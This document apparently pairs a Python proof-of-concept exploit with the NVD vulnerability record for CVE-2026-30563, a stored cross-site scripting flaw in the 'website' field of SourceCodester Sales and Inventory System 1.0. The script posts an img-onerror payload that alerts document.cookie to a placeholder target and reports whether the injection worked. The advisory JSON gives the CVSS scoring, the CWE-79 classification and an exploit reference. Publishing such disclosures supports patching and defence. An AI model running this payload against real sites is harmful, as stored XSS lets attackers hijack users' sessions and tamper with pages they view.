CVE-2026-30563

import requests # Target URL of the vulnerable endpoint target_url = "http://target.com/path/to/update_details.php" # Malicious payload to be stored and executed later # Using an img tag with onerror is a common bypass for simple filters xss_payload = '"><img src=x onerror=alert(document.cookie)>' # Data payload simulating the POST request data = { "website": xss_payload, "store_name": "PoC Store", "address": "123 Security St" } try: # Send the POST request to inject the payload response = requests.post(target_url, data=data) if response.status_code == 200: print("[+] Payload injected successfully.") print("[+] Check the store details page to verify the XSS execution.") else: print(f"[-] Request failed with status code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] An error occurred: {e}")

{"cve": {"id": "CVE-2026-30563", "sourceIdentifier": "[email protected]", "published": "2026-03-30T15:16:26.460", "lastModified": "2026-04-01T17:46:28.023", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A Stored Cross-Site Scripting (XSS) vulnerability exists in SourceCodester Sales and Inventory System 1.0. The vulnerability is located in the update_details.php file. The application fails to sanitize the \"website\" parameter provided in a POST request. This allows authenticated attackers to inject arbitrary web script or HTML that is stored in the database and executed whenever the store details page is accessed."}, {"lang": "es", "value": "Una vulnerabilidad de cross-site scripting (XSS) almacenado existe en SourceCodester Sales and Inventory System 1.0. La vulnerabilidad se encuentra en el archivo update_details.php. La aplicación no logra sanear el parámetro 'website' proporcionado en una solicitud POST. Esto permite a atacantes autenticados inyectar scripts web o HTML arbitrarios que se almacenan en la base de datos y se ejecutan cada vez que se accede a la página de detalles de la tienda."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:ahsanriaz26gmailcom:sales_and_inventory_system:1.0:*:*:*:*:*:*:*", "matchCriteriaId": "5A75B7A5-65D7-4AF9-BDE8-EBD496A4942B"}]}]}], "references": [{"url": "https://github.com/meifukun/Web-Security-PoCs/blob/main/Inventory-System/XSS-UpdateDetails-website.md", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}]}}